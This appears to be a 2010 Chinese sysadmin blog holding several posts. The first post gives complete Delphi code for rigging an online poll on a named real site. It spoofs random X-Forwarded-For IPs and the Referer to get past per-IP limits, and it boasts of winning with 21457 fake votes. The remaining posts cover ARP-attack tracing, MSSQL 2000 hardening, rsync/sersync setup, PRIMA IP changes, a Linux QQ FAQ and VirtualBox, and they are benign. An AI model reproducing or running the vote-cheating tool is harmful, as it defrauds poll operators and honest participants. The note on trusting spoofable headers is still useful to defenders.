PHP中获得IP地址的一个函数,GetIP(),代码如下: Code: function GetIP(){ if($_SERVER['HTTP_CLIENT_IP']){ $onlineip=$_SERVER['HTTP_CLIENT_IP']; }elseif($_SERVER['HTTP_X_FORWARDED_FOR']){ $onlineip=$_SERVER['HTTP_X_FORWARDED_FOR']; }else{ $onlineip=$_SERVER['REMOTE_ADDR']; } return $onlineip; } 该函数获取的IP地址是可以绕过代理而仍能得到机器IP. 分析了函数代码后发现加了代理后,服务器获取的IP是来自变量: $_SERVER['HTTP_X_FORWARDED_FOR'] 这个变量是http头信息的一部分,是http头那就好伪造了,很激动,着手写测试代码,利用php的socket函数(注意这里不能用header()来发,这里是用php模拟http头向其他WEB服务器发送头信息)写了一个简单的测试代码,伪造了一个 X-Forwarded-For:IP地址 格式的头信息给服务器,然后再把投票表单POST到服务器,返回结果提示投票成功.兴奋中!喝了杯咖啡,换用DELPHI7 indy中的IdHTTP组件来进行POST提交,IdHTTP组件还可以直接象服务器发送头信息,设置COOKIE等,所以写这个投票作弊程序非它莫属.程序中用了4个随机函数分别生成IP地址的4个段,然后用IDHTTP发送形如”X-Forwarded-For:IP地址”格式的头信息,为了更好的达到访真效果,再向服务器发送一个形如”Referer:URL地址”格式的头信息给服务器,伪造REFERER地址.为了更好的控制投票频率,还需要加个TIMER定时期,可以手动输入投票间隔时间,测试了一下,一秒投10次票很稳定. 最后记者朋友的宝贝女儿以21457票拿了第一名. IDHTTP也可以使用代理,所以它可以用来对付限制IP,限制COOKIE的所有投票的作弊,但是含有验证码的投票程序就不行了,这个可以使用图象识别来搞定. 整个代码如下: Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,StrUtils, ComCtrls, OleCtrls, SHDocVw; type TForm1 = class(TForm) web: TWebBrowser; Panel1: TPanel; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label5: TLabel; Button1: TButton; Edit1: TEdit; Edit2: TEdit; Timer1: TTimer; ComboBox1: TComboBox; Label6: TLabel; procedure Timer1Timer(Sender: TObject); procedure Button1Click(Sender: TObject); procedure ComboBox1Change(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; i:integer; implementation {$R *.dfm} function PostWebPage(url:String;TimeOut:Integer):String; var tmpWeb:TIdHTTP; retrun:String; para:String; i:Integer; paralist:TStrings; ip1,ip2,ip3,ip4,ip:string; begin retrun:=”;; try para:=MidStr(url,pos(‘?’,url),length(url)-pos(‘?’,url)+1); paralist:=TStringList.Create; paralist.Text:=StringReplace(para,’&’,#13#10,[rfReplaceAll]); tmpWeb:=TIdHTTP.Create(nil); tmpWeb.ReadTimeout:=TimeOut; Randomize; ip1:= inttostr(1 + Random(223-58)); ip2:= inttostr(0 + Random(254-0)); ip3:= inttostr(0 + Random(254-0)); ip4:= inttostr(0 + Random(254-0)); ip:=ip1+’.'+ip2+’.'+ip3+’.'+ip4; tmpWeb.Request.CustomHeaders.Add(‘Referer:http://baby.dukuai.com/’); //tmpWeb.Request.CustomHeaders.Add(‘HTTP_PC_REMOTE_ADDR:’+ip); tmpWeb.Request.CustomHeaders.Add(‘X-Forwarded-For:’+ip); for i:=1 to 3 do begin try retrun:=tmpWeb.Post(url,paralist); form1.web.Navigate(‘http://vote.dukuai.com//view.php?id=16′); except end; if retrun<>” then break; end; finally tmpWeb.Disconnect; FreeAndNil(tmpWeb); FreeAndNil(paralist); end; Result:=retrun; end; procedure TForm1.Timer1Timer(Sender: TObject); var temp:string; begin if trim(edit1.Text)<>” then begin temp:=PostWebPage(edit1.text,30000); if temp<>” then begin //memo1.Text:=temp; //memo1.Lines.SaveToFile(‘c:temp.htm’); //web.Navigate(‘c:temp.htm’); inc(i); label2.Caption:=inttostr(i); end; end; //timer1.Enabled:=false; end; procedure TForm1.Button1Click(Sender: TObject); begin if self.Button1.Caption=’开始’ then begin timer1.Interval:=strtoint(edit2.Text); timer1.Enabled:=true; Button1.Caption:=’停止’;; edit1.Enabled:=false; edit2.Enabled:=false; combobox1.Enabled:=false; end else begin timer1.Enabled:=false; Button1.Caption:=’开始’;; edit1.Enabled:=true; edit2.Enabled:=true; combobox1.Enabled:=true; end; end; procedure TForm1.ComboBox1Change(Sender: TObject); begin edit1.Text:=’http://vote.dukuai.com/vote.php?id=16&ITEM1=’+inttostr(combobox1.ItemIndex+1)+’&VoteID=16′ end; end.
十二月 10, 2010
十二月 7, 2010
机房交换ARP解决办法
负责管理的机房经常受到ARP的攻击,造成一个子网的服务器网络经常瘫痪
以下是常规解决办法吗,希望对新人有所帮助
机房网络拓扑
CISCO 3650 底下接了很多DLINK 3026的交换
CISCO查看ARP
show ip arp int fa 端口
所有MAC就列出来了 把显示的网关MAC地址记住
然后登入DLINK DES 3026
show fdb 查看MAC地址进行对比
或者先开启CISCO的显示错误 在终端输入ter mon
然后重启CISCO 路由的那个口 起来以后 会马上显示出CISCO的MAC地址,这个地址很可能就是发ARP病毒的服务器的MAC地址. 把CISCO上的MAC 和DLINK DES 3026交换上的MAC进行比对 就会发现问题的,也可以在交换机上输入 sh ut port 看下每个端口的流量
其次可以在DLINK DES 3026上做端口隔离 不过端口隔离只能隔离广播风暴,却无法完全防止ARP病毒的
也可以在DLINK上查到ARP攻击 首先 show arp 然后clear arp 在show一下 就可以对比出来哪个机器发送了ARP包
转载注明(LINUXQQ)
十二月 6, 2010
mssql 2000 安全设置
大多数WINDOWS服务器被黑都是通过SQL 注入提权的
以下是防范常识
先在系统中添加一个普通用户 隶属于USER组 ,设置一个复杂的密码
安装SQL SERVER 2000 打上SP4的补丁 ,然后在控制面板–管理工具–服务里面找到MSSQL SERVER选择属性 选择登录 选择你刚添加的拿个用户名.然后确定
但是启动时出错:CREATE DATABASE 失败。未能创建所列出的某些文件名。请检查前面的错误信息
是目录权限造成的
修改SQL SERVER的目录权限
假如我的SQL SERVER程序 装在C盘 数据库装在D盘
那将C盘下Program Files\Microsoft SQL Server的权限设置为
“administrators ”的全部权限
“System ”的全部权限
“SQL2000的运行用户(只应用在当前文件夹)列出文件夹/读数据”的权限
“读属性”的权限
“读扩展属性”的权限
“读取”的权限
D盘的Program Files\Microsoft SQL Server设置为
“administrators ”的全部权限
“System ”的全部权限
“SQL2000的运行用户 ”的全部权限
SQL安装错误:安装程序检测出uninstallshield正在使用中
解决办法:主要是权限问题,看下WINDOWS是否有administrators全权的权限,TEMP文件夹是否有全权权限
转载注明(LINUXQQ)
十一月 26, 2010
数据时时同步
本项目利用inotify与rsync对服务器进行实时同步,其中inotify用于监控文件系统事件,rsync是目前广泛使用的同步算法,其优点是只对文件不同的部分进行操作,所以其优势大大超过使用挂接文件系统的方式进行镜像同步。
目前使用的比较多的同步程序版本是inotify-tools,另外一个是google开源项目Openduckbill(依赖于inotify-tools),这两个都是基于脚本语言编写的,其设计思路同样是采用inotify与rsync命令。 相比较上面两个项目,本项目优点是:
1.sersync是使用c++编写,而且对linux系统文件系统产生的临时文件和重复的文件操作进行过滤(我稍后会提到),所以在结合rsync同步的时候,节省了运行时耗和网络资源。因此更快。
2.相比较上面两个项目,sersync配置起来很简单:在http://code.google.com/p/sersync/downloads/list 处下载源码(分为32版本,与64位版本),其中bin目录下已经有我编译好的2进制文件,配合bin目录下的xml文件直接使用即可。
3.另外本项目相比较其他脚本开源项目,使用多线程进行同步,尤其在同步较大文件时,能够保证多个服务器实时保持同步状态。
4.本项目自带出错处理机制,通过失败队列对出错的文件重新出错,如果仍旧失败,则每10个小时对同步失败的文件重新同步。
5.本项目自带crontab功能,只需在xml配置文件中开启,即可按您的要求,隔一段时间整体同步一次。
6.本项目自带socket与http协议扩展,满足您二次开发的需要。
sersync下载地址:在http://code.google.com/p/sersync/downloads/list
源服务器OS:Centos 5.5 64位系统
目标服务器:Freebsd 7.2 Centos 5.5
规模:10台
需求:从源服务器实时推送数据到目标服务器
源服务器布署:
下载64位Sersync二进安装包:
#wget http://sersync.googlecode.com/files/sersync2.5_64bit_binary_stable_final.tar.gz
#tar -xzvf sersync2.5_64bit_binary_stable_final.tar.gz
# cd GNU-Linux-x86/
[root@localhost GNU-Linux-x86]# ll
total 1588
-rwxr-xr-x 1 root root 2214 Jun 29 07:19 confxml.xml
-rwxr-xr-x 1 root root 1617440 Jun 29 07:12 sersync2
编辑confxml.xml文件:
<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<head version=”2.5″>
<host hostip=”localhost” port=”8008″></host> #本地主机配置
<debug start=”false”/>
<fileSystem xfs=”false”/>
<filter start=”false”>
<exclude expression=”(.*)\.svn”></exclude>
<exclude expression=”(.*)\.gz”></exclude>
<exclude expression=”^info/*”></exclude>
<exclude expression=”^static/*”></exclude>
</filter>
<inotify>
<delete start=”true”/>
<createFolder start=”true”/>
<createFile start=”false”/>
<closeWrite start=”true”/>
<moveFrom start=”true”/>
<moveTo start=”true”/>
<attrib start=”false”/>
<modify start=”false”/>
</inotify>
<sersync>
<localpath watch=”/usr/local/www/apache22/data/mj/Data”>#watch填写需同步的源服务器本地路径
<remote ip=”192.168.8.39″/>#remote填写同步的远程目标主机IP与模块名称
<remote ip=”192.168.8.40″/>
</localpath>
<rsync>
<commonParams params=”-artuz”/>
<auth start=”false” users=”root” passwordfile=”/etc/rsync.pas”/>
<userDefinedPort start=”false” port=”874″/>
<timeout start=”false” time=”100″/>
<ssh start=”false”/>
</rsync>
<failLog path=”/tmp/rsync_fail_log.sh” timeToExecute=”60″/>
<crontab start=”false” schedule=”600″>#start标签设置为true,即设定多长时间对监控项目彻底同步一次
<crontabfilter start=”false”>#plugin标签是在同步过程中使用插件
<exclude expression=”*.php”></exclude>
<exclude expression=”info/*”></exclude>
</crontabfilter>
</crontab>
<plugin start=”false”/>
</sersync>
<plugin>
<param prefix=”/bin/sh” suffix=”" ignoreError=”true”/>
<filter start=”false”>
<include expression=”(.*)\.php”/>
<include expression=”(.*)\.sh”/>
</filter>
</plugin>
<plugin>#socket插件标签
<localpath watch=”/opt/tongbu”>
<deshost ip=”192.168.138.20″ port=”8009″/>
</localpath>
</plugin>
<plugin>#CDN插件标签
<localpath watch=”/data0/htdocs/cms.xoyo.com/site/”>
<cdninfo domainname=”ccms.chinacache.com” port=”80″ username=”xxxx” passwd=”xxxx”/>
<sendurl base=”http://pic.xoyo.com/cms”/>
<regexurl regex=”false” match=”cms.xoyo.com/site([/a-zA-Z0-9]*).xoyo.com/images”/>
</localpath>
</plugin>
</head>
保存并退出
运行Sersync与Sersync启动参数
./sersync -r
如果需要将sersync运行前,已经存在的所有文件或目录全部同步到远程,要以-r参数运行sersync,将本地与远程整体同步一次。
如果设置了过滤器,即在xml文件中,filter为true,则暂时不能使用-r参数进行整体同步。-r参数将会无效
3.查看启动参数帮助
./sersync –help
4.指定配置文件
./sersync -o XXXX.xml
对于sersync使用可执行文件目录下的默认配置文件confxml.xml,如果需要使用另一个配置文件,可以使用-o参数指定其它配置文件。
5.指定默认的线程池的线程总数
./sersync -n num
例如 ./sersync -n 5 则指定线程总数为5,如果不指定,默认启动线程池数量是10,如果cpu使用过高,可以通过这个参数调低,如果机器配置较高,可以用-n跳高线程总数。
6.不进行同步,只运行插件
./sersync -m pluginName
例如./sersync -m command,则在监控到文件事件后,不对远程目标服务器进行同步,而是直接运行command插件。
7.多个参数可以配合使用
./sersync -n 8 -o abc.xml -r -d
表示,设置线程池工作线程为8个,指定abc.xml作为配置文件,在实时监控前作一次整体同步,以守护进程方式在后台运行。
8.通常情况下,对本地到远程整体同步一遍后,在后台运行实时同步。
./sersync -r -d
9。查看sersync服务是否成功启动!
ps -aux|grep sersync
root 13383 0.0 0.0 61204 752 pts/2 S+ 19:41 0:00 grep sersync
root 27853 0.0 0.0 210912 900 ? Ssl Oct28 0:00 ./sersync2 -d -r
目标服务器布署:
1)基于centos目标服务器布署rsync:
1、查看是否装了rsync包:
[root@mj 水瓶]# rpm -q rsync
rsync-2.6.8-3.1
如果没有安装就用rpm 或yum装上。
# yum –y install rsync
2、新建配置文件/etc/rsyncd.conf,然后编辑/etc/rsyncd.conf,添加一下内容到文件里:
uid = root
gid = root
use chroot = no
max connections = 30
syslog facility = local5
pid file = /var/run/rsyncd.pid
#lock file = /var/run/rsync.lock
log file = /var/log/rsyncd.log
list = false
ignore errors
hosts allow = 10.30.71.11 #填写源服务器的IP
hosts deny = 0.0.0.0/0
[mj]
path = /usr/local/www/apache22/data/mj/Data
comment = mjdata
read only = false
保存,并退出!
3、开启rsync daemon格式
rsync –daemon 检查rsync是否起来:
lsof -i :873
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
rsync 2625 root 4u IPv6 5662 TCP *:rsync (LISTEN)
rsync 2625 root 5u IPv4 5663 TCP *:rsync (LISTEN)
表示已经起来,返回空,表示没有起来
确保防火墙能使 tcp的873端口通过
如果不行请service iptables stop 关闭iptables
4、把rsync启动加到启动项里
echo “rsync –daemon ” >>etc/rc.local
2) 基于Freebsd目标服务器布署rsync:
1、查看是否装了rsync包:
99_source# pkg_info|grep rsync
rsync-3.0.5 A network file distribution/synchronization utility
如果没有安装就用pkg_add 或portsnap方式装上。
如:pkg_add -rv rsync
2、新建配置文件/etc/rsyncd.conf,然后编辑/etc/rsyncd.conf,添加一下内容到文件里:
uid = www
gid = www
use chroot = no
max connections = 8
syslog facility = local5
log file = /var/log/rsyncd.log
timeout = 600
hosts allow = 122.173.29.142
hosts deny = 0.0.0.0/32
[mj]
path = /usr/local/www/apache22/data/mj/Data
comment = mjdata
read only = false
保存,并退出!
3、开启rsync daemon格式
rsync –daemon –config=/etc/rsyncd.conf
检查rsync是否起来:
99_source# ps -aux|grep rsync
root 69106 0.0 0.0 3128 1380 ?? Is 6:04PM 0:00.00 rsync –config=/etc/rsyncd.conf –daemon
root 69190 0.0 0.0 1660 1028 p1 D+ 6:08PM 0:00.00 grep rsync
4、把rsync启动加到启动项里
echo “rsync –daemon –config=/etc/rsyncd.conf” >>/etc/rc.local
5、目标服务器本地防火墙配置,允许源服务器能上传文件到本地。
Ipfw add allow tcp from 122.173.29.142to me dst-port 873
Ipfw add allow tcp from me to 122.173.29.142
十一月 23, 2010
十一月 19, 2010
max os 是什么
Mac OS是什么
Max os系统是专门用于一套运行于苹果Macintosh系列电脑上的操作系统。Mac OS是首个在商用领域成功的图形用户界面。现行的最新的系统版本是Mac OS X 10.6.x版。
Mac系统是苹果机专用系统,正常情况下在普通pc上无法安装的操作系统
苹果公司不但生产MAC的大部分硬件,连MAC所用的操作系统都是它自行开发的,接下来,我们就来了解一下它的操作系统。
苹果机现在的操作系统已经到了OS 10,代号为MAC OSX(X为10的罗马数字写法),这是MAC电脑诞生15年来最大的变化。新系统非常可靠,它的许多特点和服务都体现了苹果公司的理念。
另外,现在疯狂肆虐的电脑病毒几乎都是针对Windows的,由于MAC的架构与Windows不同,所以很少受到病毒的袭击。MAC OSX操作系统界面非常独特,突出了形象的图标和人机对话(人机对话界面就是由苹果公司最早开创的,后来才被微软的Windows所看中并在Windows中广泛应用)。苹果公司能够根据自己的技术标准生产电脑、自主开发相对应的操作系统,可见它的技术和实力非同一般。打个比方,苹果公司就像是Dell和微软的联合体,在软硬件方面“才貌双全,系统优化界面方面都非常的突出.价格适当也比较贵
转载注明(LINUXQQ)
十一月 18, 2010
qq for linux 不完美
到了linux系统下,这个qq for linux 就显的很别扭,首先,登录没有来腾讯所宣称到什么“心服务”之类到标语,换而言之,就是在linux下最为普通的QQ等级了
qq for linux 好像没有快捷键啊.可能是我没这哦到 而且点击之后出来一个类似消息盒子的那个东西,在桌面上来回跑 ,好变扭
如果没有及时点击“查看全部”,你就还的重复点击鼠标。设置也相当的简单,仿佛回到来灰色QQ时代,什么都没有。个人设置里有个基本信息和详细信息两项。基本设置里有聊天设置和身份验证设置两项,快捷键只发现选择什么方式发送消息,没有别的设置;并且身份验证貌似是默认“允许任何人加我为好友”,在windows下的设置好像在这里丢失了。
第三,linux下到QQ接收的消息显示类似于IE7的多页浏览,只不过是在底部切换,所有的消息一个对话框,底部切换,类似电子表格,如果点击了右上角的叉则全部关闭,不过可以按住一个底部一个窗口的名称拖动,使其成为一个新的窗口,这个倒是不错,新形成的窗口点击左下角到箭头可以回归刚才到窗口,依旧形成多标签浏览状态,要单独关闭某个聊天窗口要选择下方的名称标签,点击叉,或者点击发送旁边的“关闭”字样。
第四,不支持自定义头像,在linux QQ下我的好友有N多的企鹅。并且在群里聊天不显示群名片,显示的是QQ昵称,并且只可以群聊,不能点击群好友和其私聊,不能查看群信息,不能管理群成员,在linux QQ下你和广大群众一样 。
第五,QQ自带的表情为静态,不会动;可以接受好友和群里到自定义表情,看好了,这里说的是接受,没说可以发送自定义表情。
最后让我接受不了的就是这个版本的QQ没有声音,收到消息只是下方QQ图标在闪,没有提示声音;当然也不是完全没有声音,它会调用主板的喇叭给你嘟一声,关闭聊天窗口和接受信息的时候分别给你嘟一声,真让我崩溃。
不过在linux下你到好友分类到是正确的,并且支持更换颜色,和windows下设置一样,点击主界面的彩色小图标。
其实linux qq 我觉的基本也就是给用户一个交代,毕竟LINUX系统普通家庭用的太少,都是取决WINDOWS,我相信这个搞技术的还是可以理解的
没有市场开发出来再好的东西 也是白扯的
十一月 17, 2010
prima IIS 更换IP地址
windows 2003 使用的PRIMA系统 一键更换IIS上IP地址命令
ModifyIpAddr.exe <old_ip> <new_ip> IP地址就更换完成了
linux 使用的PRIMA系统 一键更换APACHE上IP地址命令
用法: 将ModifyApacheIP.tar.gz上载到服务器; tar zxf ModifyApacheIP.tar.gz cd ModifyApacheIP ./ModifyApacheIP.sh <old_ip> <new_ip>
能服务器安全证书如果原IP仍保留,且主控/主DNS服务器仍然可以和原IP正常通信,不需要更换服务器安全证书。 如果原IP被新IP彻底替换,需要更换服务器安全证书。 更换安全证书时,请告知新的IP地址和主控的IP地址,如果该服务器同时是辅DNS服务器,请告知主DNS的IP。 我们将为您制作新的安全证书。 收到新证书之后,先停止acasd/acald服务,然后用新的证书及密钥文件覆盖老的: Linux/Unix: /usr/prima/etc/cert/server.crt /usr/prima/etc/cert/server.key Win2000: Acasd安装目录/etc/cert/server.crt Acasd安装目录/etc/cert/server.key
更改主控数据库注意:如果您使用的是3.0商务版,可以在服务器管理的IP地址管理中批量更改主控数据库中的IP,不需要再使用本章中的工具和方法。 为了方便您进行修改工作,我公司提供了修改主数据库记录的工具ModifyPrimadbIP.sh。使用方法见下节,另外也叙述了手工更改数据的方法
使用方法: 上载ModifyPrimadbIP.tar.gz到主控服务器; tar zxf ModifyPrimadbIP.tar.gz cd ModifyPrimadbIP 如果原IP被新IP彻底替换,运行 ./ModifyPrimadbIP.sh <old_ip> <new_ip> 例子: ./ModifyPrimadbIP.sh 192.168.0.1 192.168.0.2 如果原IP仍保留,只是要将原IP上的站点变为新IP,运行: ./ModifyPrimadbIP.sh <old_ip> <new_ip> keep_old_ip 例子: ./ModifyPrimadbIP.sh 192.168.0.1 192.168.0.2 keep_old_ip 提示:在程序运行过程中,会帮您备份数据库到/root/primadb.<日期-时间>.sql。
替换IP(手工更改)更新以下数据表与ip地址相关的字段: [tabACAs表] 其中的host字段是ip地址 SELECT * FROM tabACAs WHERE host = $old_ip ; 可以查看是否有需要更新的数据。其中的$old_ip为原有的ip地址,例如: $old_ip = 12.34.56.78 则上述SQL语句为: SELECT * FROM tabACAs WHERE host = ’12.34.56.78′ ; 如果发现有查询出来的数据,则应将其更新: UPDATE tabACAs SET host = $new_ip WHERE host = $old_ip ; 其中的$new_ip为新的ip地址,例如: $old_ip = 12.34.56.78 $new_ip = 23.45.67.89 则上述SQL语句为: UPDATE tabACAs SET host = ’23.45.67.89′ WHERE host = ’12.34.56.78′ ; (以下的SQL中的$old_ip和$new_ip的意义与此相同,不再单独举例) [tabPhysicalServers表] 其中的main_ip字段 相关的SQL 查询是否有原有ip地址的记录: SELECT * FROM tabPhysicalServers WHERE main_ip = $old_ip ; 更新记录: UPDATE tabPhysicalServers SET main_ip = $new_ip WHERE main_ip = $old_ip ; [tabIPAliases表] 其中的ip_alias字段 相关的SQL 查询是否有原有ip地址的记录: SELECT * FROM tabIPAliases WHERE ip_alias = $old_ip ; 更新记录: UPDATE tabIPAliases SET ip_alias = $new_ip WHERE ip_alias = $old_ip ; [tabWebSiteInstances表] 其中的ip字段 相关的SQL 查询是否有原有ip地址的记录: SELECT * FROM tabWebSiteInstances WHERE ip = $old_ip ; 更新记录: UPDATE tabWebSiteInstances SET ip = $new_ip WHERE ip = $old_ip ; [tabDNSZoneInstances表] 其中的ip、mx字段 相关的SQL 查询是否有原有ip地址的记录: SELECT * FROM tabDNSZoneInstances WHERE ip = $old_ip ; SELECT * FROM tabDNSZoneInstances WHERE mx = $old_ip ; 更新记录: UPDATE tabDNSZoneInstances SET ip = $new_ip WHERE ip = $old_ip ; UPDATE tabDNSZoneInstances SET mx = $new_ip WHERE mx = $old_ip
转载注明(LINUXQQ)
十一月 9, 2010
linux qq 安装问题
linux qq 安装常见问题
问:linux qq中当网络连接中断重新恢复后,QQ会自动重连吗?
答:网络连接中断重新恢复后,是不会重连的。
问:linux qq可以通过局域网直连吗
答:linux qq版本只能走服务器中转,不能走局域网直连,无法操作。
问:linux qq客户端是否有摄像头图标?
答:不会有此图标
问:Linux版QQ如何隐藏离线好友?
答:不支持隐藏离线好友
问:Linux版QQ是否支持设置点击红叉时是关闭或者最小化?
答:不支持设置
问:Linux QQ快捷键如何使用?
答:快捷键是:ctrl+alt+X 截屏、ctrl+alt+z 提取消息。
问:使用最新的linxu qq版本用于Ubuntu,可以显示原有的备注信息吗?
答:备注信息是可以显示的,点击好友=》右键查看备注即可
问:在linux下安装QQ后找不到安装目录,要如何操作呢?
答:如果是tar.gz安装的,直接在解开目录输入 ./qq即可;如果是deb或rpm包安装的,快捷键在/usr/bin/qq,可以在命令行下任意路径敲入qq即可运行,或者在桌面菜单internet目录下点击腾讯QQ运行
问:linux qqQQ for linux是否支持好友查找功能?
答:不支持好友查找功能
问:linux qq是否支持windows聊天记录的导入、导出功能?
答:不支持这些功能
问:linux qq有没有声音提示功能?
答:没有声音提示这个功能
问:linux qq是否支持对群进行管理
答:不支持对群进行管理
问:linux qq是否支持快速回复的功能?
答:不支持快速回复的功能
问:在ubuntu中安装了linux qq ,怎么样可以知道它的安装路径?
答:路径为:/usr/bin/qq。
问:linux qq可以和windows下的QQ进行正常文件传输吗?
答:不支持此功能
问:修改了的群名片在Linux QQ上显示不出来,可以设置吗?
答:目前不支持设置
问:linux qq如何导出聊天信息?
答:目前不支持该功能
问:Linux qq for ubuntu有64位架构版本吗?
答:目前没有64位架构版本
问:linux qq现在支持讨论组吗?
答:不支持讨论组
问:Linux QQ可以使用视频功能吗
答:目前暂时没有视频的功能,建议您继续关注腾讯的官方网站:http://im.qq.com/qq/linux
问:Linux QQ最新的版本支持自定义表情吗?
答:目前暂时不支持自定义表情。
问:Linux QQ是否有传输文件的功能?
答:可以支持文件传输功能
问:Linux QQ 1.0 beta1 的聊天对话框,怎么没有设置字体的按钮?
答:目前QQ for Linux是没有设置字体的选项,相关的功能正在研发当中,建议您关注我们后期新产品的推出
问:公司用的是QQ2008,在家用的是QQ for linux,好友名单却不一样,怎么办
答:建议您直接使用QQ2008版本手动更新好友。
方法:点击“系统菜单”=》“好友与资料”=》“更新好友”。
问:linux qq 会员消息可以漫游吗?
答:不能使用,相关的功能还在研发当中
问:在Linux下登录QQ,能够累积在线时间吗?
答:在Linux下登录QQ同样会累积在线时长
问:linux qq是什么
答:Tencent QQ for Linux是腾讯公司把握市场需求,针对日渐增多的Linux用户,推出的基于Linux的即时通讯软件。
问:linux qq什么时候可以使用
答:Tencent QQ for Linux版本可以从下载页面进入下载,它从2008年7月31日开始提供免费下载和使用
问:linux qq 硬件需求最低配置
答:您必须满足以下最低硬件的要求:
CPU:500MHZ处理器或更高
内存:128MB RAM
硬盘:不少于30MB硬盘空间
互联网连接(至少必须满足一种网络连接:56Kbps modem,Cable,xDSL,等等)
问:linux qq是免费的吗
答:Tencent QQ for Linux目前是免费下载和使用。
问:我怎么去注册一个新帐号?
答:若要使用QQ程序,您必须拥有QQ帐号,您可以通过网站申请免费的QQ号码。具体详情请访问号码申请的页面: http://freeqqm.qq.com/ 。
问:linux qq的界面、操作和windows版本的相同吗?
答:QQ for Linux的界面、风格和window版本相同,目前QQ for Linux版本先提供IM最基本的聊天功能。
问:QQ for Linux目前可用的语言有那些?
答:Tencent QQ for Linux目前支持简体中文。
问:我怎么选择我自己喜欢的主题和外观?
答:建议你尝试点击一下好友列表头部右下角的“
”按钮。
问:我无法在电脑成功通过Linux系统登录QQ,怎么办?
答:linux QQ正确登录需要满足以下的3个基本条件:1、您已经注册并拥有QQ帐号和密码;
2、您的帐号和密码为正确的;
3、PC设备是处于已联机的,并可连接因特网的状态。
问:linux qq需要使用那些端口?
答:如果您想登录linux QQ并进行聊天,则需要开放端口 433、8000、80。
问:为什么登录linux qq时提示我输入验证码?
答:如果您发现用正确的号码密码登录却提示要您输入验证码,可能有以下两种原因:
QQ密码已经被盗,并在您不知情的情况下被其他人用来发送广告或者诈骗消息,从而被系统检测到;
正在使用的网络(例如:网吧)中有人正在从事一些危及QQ用户安全的行为(盗号,发诈骗信息,垃圾广告等)。
问:为什么不能管理好友和群?
答:目前的QQ for Linux版本不支持管理好友和群的功能。我们会考虑在后续版本中完善。
问:我怎么查看历史的聊天记录?
答:目前的linux QQ版本不支持查看好友的历史聊天记录功能。你可以点击聊天界面工具栏的“历史消息”按钮,查看好友最近聊天的20条记录。
问:怎么找回QQ帐号的密码?
答:忘记了linux QQ帐号的密码,若您设置了密码保护,且密码保护记得,请点此这里进入linux QQ安全中心,尝试通过密码保护重设密码。
若您的帐号未设置密码保护或忘记密码保护,请您点击这里进入QQ安全中心操作帐号申诉。
问:为什么收到提示“号码需要解除限制”?
答:您的linux QQ号码需要解除限制是由于您linux QQ帐号出现了异常情况导致的。这个异常情况是由linux QQ帐号异常检测系统发现的,它说明您的linux QQ密码已经被泄露,并已被他人获取从事了异常行为。于是我们采用了“暂时限制登录”的方式来保护您的linux QQ号码安全。此时您必须进行“解除限制”,然后才能正常登录。解除限制地址是:http://ap.qq.com/yc。
问:QQ for Linux版本能够公布源代码吗?
答:对不起 ,不能公布
问:linux qq需要什么系统内核?
答:查询一下您的Linux系统,需要如下:
Linux kernel:2.6及更高
GTK version:2.10及更高
问:linux qq为什么没有支持声音系统?
答:QQ for Linux暂不支持声音系统。
问:linux QQ支持何种发行版本的Linux
答:QQ for Linux已经成功的在最新的一些Linux发行版本中测试通过,包括但不仅限于以下版本:
SuSE 9 或更高
Ubuntu 7.10或更高
Fedora Core 8或更高
可能QQ for Linux可以在其他符合软硬件环境的Linux发行版本上运行,但是不能保证运行完全没有任何问题。
问:linux qq支持64位处理器吗?
答:Linux QQ支持64位处理器。
问:linux qq支持桌面管理器吗?
答:支持KDE和Gnome桌面系统。
问:linux qq的问题和建议我如何反馈?
如果您在使用中有一些问题或者反馈,请点击这里发送到我们的论坛,我们会在论坛中反馈和提供技术支持。
问:linux qq能不能修改字体?
答:linux qq使用的是系统的默认字体。如果您对字体不满意,您可以尝试修改Linux版本的默认字体。
问:以上文章转自腾讯QQ for Linux支持自定义表情吗?
答:目前版本支持接收自定义表情。
问:linux QQ怎么安装和卸载?
答:RPM版本
安装:
①打开控制台,使用管理员身份登录
②在终端中输入命令“rpm –U package_name.rpm”,package_name是QQ安装包文件名。
卸载:
在终端中输入命令“rpm -e package_name.rpm”
DEB版本
安装:
①打开控制台,使用管理员身份登录
②在终端中输入命令 “dpkg -i package_name.deb”,package_name是QQ安装包文件名。
卸载:
在终端中输入命令“dpkg -r package_name”
tar.gz版本
安装:
①打开控制台
②在终端中输入命令“tar xzvf package_name.tar.gz”,package_name是QQ安装包文件名。
卸载:
直接删除linux QQ的所有文件和文件夹。
问:linux QQ怎么建立桌面快捷方式?
答:右键单击桌面的空白处,在弹出的对话框中选“新建-应用程序链接”。再在弹出的窗口中点“执行”,在命令栏中点后面的浏览键,找到QQ for Linux的程序。再点“常规”,进行取名、更改图标等操作,最后点确定,这样在桌面上也创建了linux QQ的快捷方式。
十一月 7, 2010
vbox后台运行
vbox是一个 类似于vmware workstation的虚拟机软件,由于平时的一些需要,不得不在Linux上再跑一个虚拟机运行XP,不过在某些时刻可能出现X crash了,结果虚拟机也跟着挂掉了,搞的相当郁闷,vmware可以很方便的设置后台运行,VirtualBox在gui界面里却找不到,不过其实也 是可以支持的,只是要在命令行:在命令行直接输入
VBoxMange
可以看到相关的帮助,这里我们需要做的只是:
VBoxMange startvm “your virtual guest os name” –type vrdp
比如我的是:
VBoxManage startvm “Windows XP” –type vrdp
这样VirtualBox就在后台运行了,即使X挂了,我们也可以通过后台方便的控制,比如关机:
VBoxManage controlvm “Windows XP” poweroff
可是XP在后台运行,怎么登录呢?这个时候就要用到rdesktop了:
rdesktop -u<username> -g1024×768 -a24 <your virtual guest os ip>